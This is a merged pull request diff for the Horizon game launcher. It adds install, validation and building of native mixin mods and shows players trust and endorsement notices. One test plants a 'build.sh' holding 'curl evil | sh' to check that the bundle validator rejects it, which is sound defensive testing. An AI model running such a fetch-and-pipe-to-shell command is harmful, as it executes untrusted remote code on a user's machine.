Merge pull request #3194 from horizon-rust/feat/launcher-native-mods-page
🤖 Agent: proven with a real launcher run in isolated dirs: registry install of Veinminer's .hnmod into an instance, native-build of that instance's enabled native mods, instance pinned to the build; launcher clippy and tests green after merging main (#3140 and #3189 merged). Verify green at 1f6511d0.
This commit is contained in:
@@ -75,9 +75,10 @@ MCP: `server`, `server_command`, `server_log`, `server_stop`.
|
||||
|
||||
Native mods (experimental, docs/native-mods.md): compile mixin bundles on the Horizon revision they pin, with the launcher's own Rust, as the version the "Native mods" instance plays. Not sandboxed: the mods' code runs with your rights.
|
||||
|
||||
horizon-launcher native-build <FOLDER>
|
||||
horizon-launcher native-build [FOLDER]
|
||||
|
||||
- `FOLDER`: A mod folder (horizon-mixin.toml, or an unpacked .hnmod), or a folder of them
|
||||
- `FOLDER`: A mod folder (horizon-mixin.toml, or an unpacked .hnmod), or a folder of them (default: the native mods installed and turned on in the instance)
|
||||
- `--instance`: The instance whose installed native mods to build, and which then plays the build (default: the selected one; the game's own home builds into the Native mods instance)
|
||||
- `--trust-native-code`: You read the mods' source and trust it with full access to this computer
|
||||
|
||||
MCP: none: the player's switch.
|
||||
|
||||
@@ -210,13 +210,24 @@ fn kind_of(kind: &index::Kind) -> Option<Kind> {
|
||||
index::Kind::ResourcePack => Some(Kind::ResourcePack),
|
||||
index::Kind::Modpack => Some(Kind::Modpack),
|
||||
index::Kind::Shader => Some(Kind::Shader),
|
||||
// The format checker knows native sources, but this launcher cannot compile them yet.
|
||||
index::Kind::NativeMod | index::Kind::Other(_) => None,
|
||||
// Mixin mods: installed beside the others, compiled into the game by `native_mods`.
|
||||
index::Kind::NativeMod => Some(Kind::Mod),
|
||||
index::Kind::Other(_) => None,
|
||||
}
|
||||
}
|
||||
|
||||
/// What the player reads about a registry project before installing it: whether its files are
|
||||
/// signed, and for a mod what it may do, in the game's words (Options > Mods).
|
||||
/// Where the registry's mod policy is: who owns and answers for a project, takedowns.
|
||||
pub const POLICY: &str = "https://playhorizon.dev/mods/policy";
|
||||
|
||||
/// Whether the Horizon project made `p` (the mod policy's "Official": author Horizon, source in
|
||||
/// the horizon-rust organisation).
|
||||
pub fn official(p: &index::Project) -> bool {
|
||||
p.authors == ["Horizon"] && p.source.starts_with("https://github.com/horizon-rust/")
|
||||
}
|
||||
|
||||
/// What the player reads about a registry project before installing it: who made it, whether its
|
||||
/// files are signed, and for a mod what it may do, in the game's words (Options > Mods). A native
|
||||
/// mod says it runs with the player's rights.
|
||||
pub fn trust_and_capabilities(id: &str) -> Vec<String> {
|
||||
let Ok(index) = index() else {
|
||||
return Vec::new();
|
||||
@@ -224,10 +235,30 @@ pub fn trust_and_capabilities(id: &str) -> Vec<String> {
|
||||
let Some(p) = index.project(id) else {
|
||||
return Vec::new();
|
||||
};
|
||||
let mut lines = vec![match &p.key {
|
||||
let mut lines = vec![if official(p) {
|
||||
"Made by Horizon".to_owned()
|
||||
} else {
|
||||
format!(
|
||||
"Made by {}. Not made or endorsed by the Horizon project ({POLICY})",
|
||||
p.authors.join(", ")
|
||||
)
|
||||
}];
|
||||
lines.push(match &p.key {
|
||||
Some(_) => "Signed by its author: the launcher checks the signature".to_owned(),
|
||||
None => "Unsigned: the launcher checks its checksum only".to_owned(),
|
||||
}];
|
||||
});
|
||||
if p.kind == index::Kind::NativeMod {
|
||||
lines.push(
|
||||
"Native code: it is compiled into the game and runs with full access to your computer. Its source was reviewed before it was listed".into(),
|
||||
);
|
||||
if let Some(v) = p.versions.first() {
|
||||
let pin = v.api.split('/').nth(1).unwrap_or_default();
|
||||
lines.push(format!(
|
||||
"Built by the launcher on Horizon {}",
|
||||
&pin[..pin.len().min(7)]
|
||||
));
|
||||
}
|
||||
}
|
||||
if let Some(v) = p.versions.first().filter(|_| p.kind == index::Kind::Mod) {
|
||||
lines.extend(
|
||||
v.capabilities
|
||||
@@ -563,7 +594,11 @@ fn install_version(
|
||||
if let Some(r) = index.revoked(&p.id, &v.file.sha256) {
|
||||
return Err(format!("{} was taken down: {}", p.name, r.reason));
|
||||
}
|
||||
let relative = relative(project.kind, &p.id, &v.file.name)?;
|
||||
let native = p.kind == index::Kind::NativeMod;
|
||||
let relative = match native {
|
||||
true => format!("{}/{}.hnmod", crate::native_mods::INSTALLED, p.id),
|
||||
false => relative(project.kind, &p.id, &v.file.name)?,
|
||||
};
|
||||
let mut list = installed::Installed::load(home);
|
||||
let ours = |e: &installed::Entry| e.source == SourceId::Horizon && e.project == p.id;
|
||||
let old = list.entries.iter().find(|e| ours(e)).cloned();
|
||||
@@ -580,7 +615,7 @@ fn install_version(
|
||||
));
|
||||
}
|
||||
let clash = target.exists() && old.as_ref().is_none_or(|o| o.file != relative);
|
||||
if project.kind == Kind::Mod && (clash || folder_mod.exists()) {
|
||||
if project.kind == Kind::Mod && (clash || (!native && folder_mod.exists())) {
|
||||
return Err(format!(
|
||||
"A mod with the id {} is already in {}: move it away first.",
|
||||
p.id,
|
||||
@@ -594,7 +629,17 @@ fn install_version(
|
||||
let file = &version_of(index, p, v, None).files[0];
|
||||
let staging = home.join("mod-browser/downloads");
|
||||
let path = fetch(file, &staging, local, &|f| progress(&line, f))?;
|
||||
let trust = index::check_file(index, p, v, &path).inspect_err(|_| {
|
||||
let checked = index::check_file(index, p, v, &path).and_then(|trust| {
|
||||
// Only Rust and TOML sources, for the mod the index names: nothing in it runs here.
|
||||
match native {
|
||||
true => index::native::Bundle::read(&path).and_then(|b| match b.manifest.id == p.id {
|
||||
true => Ok(trust),
|
||||
false => Err(format!("it is {}, not {}", b.manifest.id, p.id)),
|
||||
}),
|
||||
false => Ok(trust),
|
||||
}
|
||||
});
|
||||
let trust = checked.inspect_err(|_| {
|
||||
let _ = fs::remove_file(&path);
|
||||
})?;
|
||||
if let Some(dir) = target.parent() {
|
||||
@@ -629,8 +674,12 @@ fn install_version(
|
||||
Ok(entry)
|
||||
}
|
||||
|
||||
/// The mod id of an installed mod (`horizon-mods/<id>` or `horizon-mods/<id>.hmod`).
|
||||
/// The mod id of an installed mod (`horizon-mods/<id>`, `horizon-mods/<id>.hmod` or
|
||||
/// `horizon-native-mods/<id>.hnmod`).
|
||||
pub fn mod_id(entry: &installed::Entry) -> Option<&str> {
|
||||
if let Some(rest) = entry.file.strip_prefix(crate::native_mods::INSTALLED) {
|
||||
return rest.strip_prefix('/')?.strip_suffix(".hnmod");
|
||||
}
|
||||
let rest = entry.file.strip_prefix(java::MODS_DIR)?.strip_prefix('/')?;
|
||||
Some(rest.strip_suffix(".hmod").unwrap_or(rest))
|
||||
}
|
||||
|
||||
@@ -34,11 +34,36 @@ fn hud(index: &Index) -> Project {
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn native_registry_entries_stay_hidden_until_the_launcher_can_build_them() {
|
||||
assert_eq!(kind_of(&index::Kind::NativeMod), None);
|
||||
fn native_registry_entries_are_mods_that_say_they_run_native_code() {
|
||||
assert_eq!(kind_of(&index::Kind::NativeMod), Some(Kind::Mod));
|
||||
let mut index = sample();
|
||||
index.projects[0].kind = index::Kind::NativeMod;
|
||||
assert!(search(&index, &Query::new("", Kind::Mod)).is_empty());
|
||||
let found = search(&index, &Query::new("", Kind::Mod));
|
||||
assert!(found.iter().any(|p| p.id == index.projects[0].id));
|
||||
let entry = |file: &str| {
|
||||
serde_json::from_value::<installed::Entry>(serde_json::json!({
|
||||
"source": "horizon", "project": "p", "slug": "p", "title": "P", "kind": "mod",
|
||||
"version": "1", "number": "1", "file": file, "checksum": "", "page": ""
|
||||
}))
|
||||
.unwrap()
|
||||
};
|
||||
assert_eq!(
|
||||
mod_id(&entry("horizon-native-mods/veinminer.hnmod")),
|
||||
Some("veinminer")
|
||||
);
|
||||
assert_eq!(mod_id(&entry("horizon-mods/zoom.hmod")), Some("zoom"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn only_horizons_own_projects_go_without_the_not_endorsed_line() {
|
||||
let mut p = sample().projects[0].clone();
|
||||
p.authors = vec!["Horizon".into()];
|
||||
p.source = "https://github.com/horizon-rust/horizon-mod-zoom".into();
|
||||
assert!(official(&p));
|
||||
p.source = "https://github.com/someone/horizon-mod-zoom".into();
|
||||
assert!(!official(&p), "the name alone doesn't make it official");
|
||||
p.authors = vec!["levzzz5154".into()];
|
||||
assert!(!official(&p));
|
||||
}
|
||||
|
||||
#[test]
|
||||
|
||||
+20
-3
@@ -612,7 +612,12 @@ enum Cmd {
|
||||
/// plays. Not sandboxed: the mods' code runs with your rights
|
||||
NativeBuild {
|
||||
/// A mod folder (horizon-mixin.toml, or an unpacked .hnmod), or a folder of them
|
||||
folder: PathBuf,
|
||||
/// (default: the native mods installed and turned on in the instance)
|
||||
folder: Option<PathBuf>,
|
||||
/// The instance whose installed native mods to build, and which then plays the build
|
||||
/// (default: the selected one; the game's own home builds into the Native mods instance)
|
||||
#[arg(long)]
|
||||
instance: Option<String>,
|
||||
/// The installed version whose game files the build reuses, and whose commit it builds on
|
||||
/// when no mod pins one (default: the selected one)
|
||||
#[arg(long)]
|
||||
@@ -1006,6 +1011,7 @@ fn execute(command: Cmd, as_json: bool) -> Result<(), String> {
|
||||
}
|
||||
Cmd::NativeBuild {
|
||||
folder,
|
||||
instance,
|
||||
version,
|
||||
trust_native_code,
|
||||
} => {
|
||||
@@ -1014,11 +1020,22 @@ fn execute(command: Cmd, as_json: bool) -> Result<(), String> {
|
||||
}
|
||||
let base = backend::resolve_version(version.as_deref())?;
|
||||
let started = std::time::Instant::now();
|
||||
let built = horizon_launcher::native_mods::build(&base, &folder, |step| {
|
||||
let target = match &instance {
|
||||
Some(name) => instances::find(name)?,
|
||||
None => instances::selected(),
|
||||
};
|
||||
let (folder, target) = match folder {
|
||||
Some(folder) => (folder, None),
|
||||
None => (
|
||||
horizon_launcher::native_mods::installed_mods(&target.home)?,
|
||||
Some(&target),
|
||||
),
|
||||
};
|
||||
let built = horizon_launcher::native_mods::build(&base, &folder, target, |step| {
|
||||
eprintln!("{}", step.label())
|
||||
})?;
|
||||
println!(
|
||||
"{built} in the Native mods instance ({:.0} s).",
|
||||
"{built} built and selected for its instance ({:.0} s).",
|
||||
started.elapsed().as_secs_f64()
|
||||
);
|
||||
}
|
||||
|
||||
@@ -46,7 +46,45 @@ pub fn log_path() -> PathBuf {
|
||||
|
||||
const MANIFEST: &str = "horizon-mixin.toml";
|
||||
/// A registry download's manifest (`.hnmod`, `horizon_mods::index::native`), beside `mixins/<id>/`.
|
||||
const NATIVE_MANIFEST: &str = "horizon-native.json";
|
||||
const NATIVE_MANIFEST: &str = horizon_mods::index::native::MANIFEST;
|
||||
/// Where an instance keeps the native mods installed from the registry, `<id>.hnmod`, each on or
|
||||
/// off in `horizon-mods.txt` like any mod.
|
||||
pub const INSTALLED: &str = "horizon-native-mods";
|
||||
|
||||
/// The native mods turned on in the game folder `home`, unpacked into a folder [`build`] takes.
|
||||
/// Each `.hnmod` is checked again as the registry checks it (only `.rs` and `.toml` under
|
||||
/// `mixins/<id>/`, nothing run), so a file edited since its download can't smuggle anything else in.
|
||||
pub fn installed_mods(home: &Path) -> Result<PathBuf, String> {
|
||||
let out = root().join("installed.incoming");
|
||||
let _ = fs::remove_dir_all(&out);
|
||||
let mut paths: Vec<PathBuf> = fs::read_dir(home.join(INSTALLED))
|
||||
.map(|dir| dir.flatten().map(|e| e.path()).collect())
|
||||
.unwrap_or_default();
|
||||
paths.retain(|p| p.extension().is_some_and(|e| e == "hnmod"));
|
||||
paths.sort();
|
||||
let mut count = 0;
|
||||
for path in paths {
|
||||
let bundle = horizon_mods::index::native::Bundle::read(&path)
|
||||
.map_err(|e| format!("{}: {e}", path.display()))?;
|
||||
if !crate::browser::java::is_enabled(home, &bundle.manifest.id) {
|
||||
continue;
|
||||
}
|
||||
let dir = out.join(&bundle.manifest.id);
|
||||
for (name, bytes) in &bundle.files {
|
||||
let to = dir.join(name);
|
||||
fs::create_dir_all(to.parent().unwrap_or(&dir)).map_err(|e| e.to_string())?;
|
||||
fs::write(&to, bytes).map_err(|e| format!("{}: {e}", to.display()))?;
|
||||
}
|
||||
count += 1;
|
||||
}
|
||||
if count == 0 {
|
||||
return Err(format!(
|
||||
"No native mod is turned on in {}: install one from the Mods page first.",
|
||||
home.join(INSTALLED).display()
|
||||
));
|
||||
}
|
||||
Ok(out)
|
||||
}
|
||||
|
||||
/// A mixin bundle: a folder with a `horizon-mixin.toml`, and the revisions it pins.
|
||||
#[derive(Clone, Debug, PartialEq)]
|
||||
@@ -413,9 +451,15 @@ fn sync(from: &Path, to: &Path) -> Result<(), String> {
|
||||
}
|
||||
|
||||
/// Builds `folder`'s mods on the Horizon revision they pin (else `base`'s, the installed version
|
||||
/// whose game files the build reuses) and points the Native mods instance at the build. Returns
|
||||
/// the build's version; a build already made is used again.
|
||||
pub fn build(base: &str, folder: &Path, progress: impl Fn(Step)) -> Result<String, String> {
|
||||
/// whose game files the build reuses) and points `instance` at the build: the instance the mods
|
||||
/// were installed in, else (None, or the game's own home) the Native mods instance. Returns the
|
||||
/// build's version; a build already made is used again.
|
||||
pub fn build(
|
||||
base: &str,
|
||||
folder: &Path,
|
||||
instance: Option<&Instance>,
|
||||
progress: impl Fn(Step),
|
||||
) -> Result<String, String> {
|
||||
backend::need_prepared(base)?;
|
||||
fs::create_dir_all(root()).map_err(|e| e.to_string())?;
|
||||
let _ = fs::write(log_path(), "");
|
||||
@@ -497,7 +541,10 @@ pub fn build(base: &str, folder: &Path, progress: impl Fn(Step)) -> Result<Strin
|
||||
let binary = target.join(PROFILE).join(backend::CLIENT);
|
||||
install(base, &version, &binary, &about)?;
|
||||
}
|
||||
instance_on(&version)?;
|
||||
match instance.filter(|i| i.kind != instances::Kind::Default) {
|
||||
Some(own) => instances::edit(&own.id, |meta| meta.version = Some(version.clone()))?,
|
||||
None => instance_on(&version)?,
|
||||
};
|
||||
prune(&version);
|
||||
let _ = fs::remove_dir_all(&incoming);
|
||||
Ok(version)
|
||||
@@ -553,11 +600,15 @@ fn instance_on(version: &str) -> Result<Instance, String> {
|
||||
instances::edit(INSTANCE, |meta| meta.version = Some(version.to_owned()))
|
||||
}
|
||||
|
||||
/// Removes the native builds other than `keep`. The compiled crates (`native/target`) stay, so
|
||||
/// the next build only compiles what changed.
|
||||
/// Removes the native builds other than `keep` that no instance plays. The compiled crates
|
||||
/// (`native/target`) stay, so the next build only compiles what changed.
|
||||
pub fn prune(keep: &str) {
|
||||
let played: Vec<String> = instances::list()
|
||||
.into_iter()
|
||||
.filter_map(|i| i.version)
|
||||
.collect();
|
||||
for old in backend::installed() {
|
||||
if is_native(&old) && old != keep {
|
||||
if is_native(&old) && old != keep && !played.contains(&old) {
|
||||
let _ = backend::remove(&old);
|
||||
}
|
||||
}
|
||||
@@ -629,6 +680,39 @@ mod tests {
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn installed_mods_are_the_checked_files_of_those_turned_on() {
|
||||
let d = dir("installed-src");
|
||||
write_native(&d, "veinminer", A, B);
|
||||
let home = dir("installed-home");
|
||||
fs::create_dir_all(home.join(INSTALLED)).unwrap();
|
||||
let pack = |name: &str, extra: Option<(&str, &str)>| {
|
||||
let mut zip =
|
||||
zip::ZipWriter::new(fs::File::create(home.join(INSTALLED).join(name)).unwrap());
|
||||
let options = zip::write::SimpleFileOptions::default();
|
||||
for file in [NATIVE_MANIFEST, "mixins/veinminer/horizon-mixin.toml"] {
|
||||
zip.start_file(file, options).unwrap();
|
||||
zip.write_all(&fs::read(d.join(file)).unwrap()).unwrap();
|
||||
}
|
||||
if let Some((file, body)) = extra {
|
||||
zip.start_file(file, options).unwrap();
|
||||
zip.write_all(body.as_bytes()).unwrap();
|
||||
}
|
||||
zip.finish().unwrap();
|
||||
};
|
||||
pack("veinminer.hnmod", None);
|
||||
assert!(installed_mods(&home).is_err(), "off until turned on");
|
||||
crate::browser::java::set_enabled(&home, "veinminer", true).unwrap();
|
||||
let out = installed_mods(&home).unwrap();
|
||||
let found = bundles(&out).unwrap();
|
||||
assert_eq!(
|
||||
(found[0].id.as_str(), found[0].horizon.as_deref()),
|
||||
("veinminer", Some(A))
|
||||
);
|
||||
pack("veinminer.hnmod", Some(("build.sh", "curl evil | sh")));
|
||||
assert!(installed_mods(&home).is_err(), "only Rust and TOML sources");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn the_mods_of_one_build_pin_one_revision() {
|
||||
let pinned = |id: &str, horizon: Option<&str>| Bundle {
|
||||
|
||||
Reference in New Issue
Block a user